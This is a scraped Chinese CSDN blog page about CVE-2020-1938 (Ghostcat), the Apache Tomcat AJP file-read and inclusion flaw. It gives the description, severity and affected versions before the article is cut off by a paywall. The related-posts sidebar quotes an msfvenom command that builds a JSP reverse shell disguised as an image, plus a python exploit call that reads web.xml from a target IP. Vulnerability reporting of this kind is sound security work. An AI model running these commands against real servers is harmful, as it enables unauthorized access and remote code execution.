CVE-2020-1938 Tomcat AJP 漏洞记录

最新推荐文章于 2024-04-19 04:13:05 发布
最新推荐文章于 2024-04-19 04:13:05 发布
阅读量698 收藏 2
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43815032/article/details/104513981
版权
本文详细介绍了CVE-2020-1938，一个高危级别的Apache Tomcat AJP漏洞。攻击者能未授权读取服务器webapp下文件，影响Tomcat多个版本。提供了环境搭建、漏洞分析、复现过程和修复建议，包括关闭AJP Connector或升级到安全版本。
摘要由CSDN通过智能技术生成

漏洞描述

2020年1月6日，国家信息安全漏洞共享平台（CNVD）收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞（CNVD-2020-10487，对应CVE-2020-1938）。攻击者利用该漏洞，可在未授权的情况下远程读取特定目录下的任意文件。由于Tomcat AJP协议存在实现缺陷导致相关参数可控，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能，攻击者可进一步实现远程代码的执行。

威胁等级

高危

影响范围

Apache Tomcat = 6

7 <= Apache Tomcat < 7.0.100

8 <= Apache Tomcat < 8.5.51

9 <= Apache Tomcat < 9.0.31

v2-d2c2ce2a5508b51ba9f9f5c7fbccbc6a_b.jpg

环境搭建

环境：JAVA、Tomcat

Tomcat下载：github.com/apache/tomca

v2-2c7b43c108be5e4bdb2d6b1d70f6b941_b.jpg

最低0.47元/天 解锁文章
破壳野生喵
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Apache Tomcat安全漏洞列表以及修补建议
Keep learing, and stay fast
08-31 3637
Apache Tomcat安全漏洞列表
CVE-2020-1938(RCE利用)
午夜安全
03-27 1万+
CVE-2020-1938(RCE利用) 1.使用msf生成反弹shell马，并且监听 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.223.129 LPORT=6666 R > shell.png 假设利用上传点，把此图片上传到了目标服务器/log/shell.png。 在msf监听： msf > use expl...
【网络安全---漏洞复现】Tomcat CVE-2020-1938 漏洞复现和利用过程（特详细）
最新发布
2401_83946570的博客
04-19 945
python2 ‘Tomcat-ROOT路径下文件读取(CVE-2020-1938).py’ -p 8009 -f /WEB-INF/web.xml 192.168.31.160。
Apache Log4j 五连环漏洞修复锦囊秘籍
Miklechun的专栏
01-21 571
1 、以数据之名 简介 微信公众号、知乎和稀土掘金等，主体均为“以数据之名”； 本文主要针对近期Apache Log4j 5连环漏洞，做修复策略实践经验总结。 2 、Log4j 漏洞综述 【安全通告-高危】Apache Log4j 五连环安全漏洞 【综述】近日，监测到Apache Log4j 存在多个任意代码执行及DoS拒绝漏洞： CVE-2021-4104：Apache Log4j 1.2.x版本在特定配置时存在JMSAppender 反序列化代码执行漏洞。 CVE-2021-442
CVE-2020-13935：Apache Tomcat拒绝服务漏洞复现
weixin_38896449的博客
12-02 7210
CVE-2020-13935-Apache Tomcat拒绝服务漏洞1.漏洞描述2.影响版本3.漏洞检测4.漏洞修复 1.漏洞描述 CVE-2020-13935，WebSocket拒绝服务漏洞，漏洞等级为重要。 Apache Tomcat WebSocket帧中的有效负载长度未正确验证，无效的有效载荷长度可能会触发无限循环，多有效负载长度无效的请求可能会导致拒绝服务。 2.影响版本 Apache Tomcat 10.0.0-M1-10.0.0-M6 Apache Tomcat 9.0.0.M1-9.0.36
Tomcat-8.5.28 无漏洞
03-05
Apache_Tomcat存在安全限制绕过的漏洞预警 更新版本下载（漏洞修复后版本）
Tomcat 又爆出高危漏洞！！Tomcat 8.5 ～10 中招…
Java技术栈，分享最主流的Java技术
07-06 7890
开源界最近很热闹啊，各个主流软件或框架漏洞频发，比如像 Struts2、FastJSON、Dubbo、Redis、Tomcat 等都存在各种各样的漏洞。 不要使用含有漏洞的组件每次也都被评为 OWASP 10 大安全漏洞之一。 光这半年以来，栈长知道的，通过公众号Java技术栈发布的就有 Dubbo、FastJSON、Tomcat： 2020年06月23日： 最新！Dubbo 远程代码执行漏洞通告，速度升级： https://mp.weixin.qq.com/s/t9GgYangGAeFTwtQA_dVfA
CVE-2020-1938 Apache Tomcat 文件包含EXP
03-29
2月20日，国家信息安全漏洞共享平台（CNVD）发布了Apache Tomcat文件包含漏洞（CNVD-2020-10487/CVE-2020-1938）。该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器...
CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner:CNVD-2020-10487 CVE-2020-1938，扫描仪工具
03-20
python2多线程扫描Tomcat-Ajp协议文件重新定义 刷src分狗的福利poc扩大 poc作者不是本人！！！！ 操作 1，将需要扫描的域名/ ip放于ip.txt ip.txt中不需要加协议，某种 ...拿到CNVD-2020-10487-Tomcat-Ajp-lfi.py测
CVE-2020-1938.zip
04-15
【CVE-2020-1938：Apache Tomcat AJP协议远程代码执行漏洞】 CVE-2020-1938是Apache Tomcat服务器中的一个严重安全漏洞，该漏洞允许攻击者通过AJP（Apache JServ Protocol）接口来实现远程代码执行，从而对目标系统...
Aapache Tomcat AJP 文件包含漏洞（CVE-2020-1938） 复现
gclome的博客
08-01 5438
0x01 漏洞概述 CVE-2020-1938 漏洞是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞。Tomcat 服务器作一个免费的开放源代码的Web 应用服务器，其安装后会默认开启ajp连接器，方便与其他web服务器通过ajp协议进行交互。 该漏洞是由于Tomcat AJP协议存在缺陷而导致，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件，例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能，攻击者可进一步实现远程代码执行。目前，厂商已发布
AJP13漏洞利用
爱测未来团队博客
10-31 1万+
前言 平时学习过程中使用nmap扫描目标服务器或者C段的时候经常会发现8009端口的AJP13服务，一直没有很在意这个服务是干嘛的。直到遇见一个服务器没有开放其他多余的端口情况下迫不得已要弄清楚，开放的这个服务是干什么的，MSF下的脚本又使用不方便功能单一，所以就有了这个文章。 AJP13服务简介 AJP13是定向包协议。因为性能原因，使用二进制格式来传输可读性文本。AJP协议：WE
Tomcat系列漏洞复现——vulhub
qq_45612828的博客
07-17 1633
Tomcat PUT方法任意写文件漏洞（CVE-2017-12615） Tomcat AJP 文件包含漏洞（CVE-2020-1938） Tomcat7+ 弱口令 && 后台getshell漏洞
Java安全-Tomcat AJP 文件包含漏洞（CVE-2020-1938）幽灵猫漏洞复现
Love&Share
11-07 2607
Tomcat AJP 文件包含漏洞（CVE-2020-1938） CVE-2020-1938 又名GhostCat ApacheTomcat服务器中被发现存在文件包含漏洞，攻击者可利用该漏洞读取或包含Tomcat 上所有 webapp 目录下的任意文件 该漏洞是一个单独的文件包含漏洞，依赖于 Tomcat 的 AJP（定向包协议）。AJP 自身存在一定缺陷，由于Tomcat在处理AJP请求时,未对请求做任何验证,通过设置AJP连接器封装的request对象的属性, 导致产生任意文件读取漏洞和代码执行漏洞 .
CVE2020-1938漏洞复现
千寻的博客
03-10 3043
文章目录0x00 漏洞介绍0x01影响版本受影响版本不受影响版本0x02 漏洞环境0x03 漏洞复现0x05 漏洞修护情况一更新高版本情况二 如未使用Tomcat AJP协议情况三 如果使用了Tomcat AJP协议免责声明本文档供学习，请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责！ 0x00 漏洞介绍 2020年1月6日，国家信息安全漏洞共享平台（CNVD） ...
Tomcat远程代码执行漏洞（CVE-2017-12615）
Unitue_逆流
10-14 1万+
实验环境操作机：windows XPIP：172.16.11.2目标机：windows server 2003IP：172.16.12.2实验目的了解Tomcat远程代码执行漏洞危害掌握检测利用Tomcat远程代码执行漏洞的能力实验工具Firefox: 中文俗称火狐，一个自由及开放源代码网页浏览器实验内容 TomcatTomcat服务器是一个免费的开放源代码的Web应用服务器。Tomcat是Apa
cve-2020-1938复现
热门推荐
梦之序章的博客
02-21 1万+
一、 Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，其安装后会默认开启ajp连接器，方便与其他web服务器通过ajp协议进行交互。属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。对于一个初学者来说，可以这样认为，当在一台机器上配置好Apache 服务器，可利用它响应HTML（标准通用标记语言下的一个应用）页面的访问请求。...
Tomact_CVE-2020-1938漏洞复现
08-31
要复现Tomact_CVE-2020-1938漏洞，可以按照以下步骤进行操作： 1. 下载POC：可以使用以下命令下载POC文件： git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/ 2. 在攻击机上...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值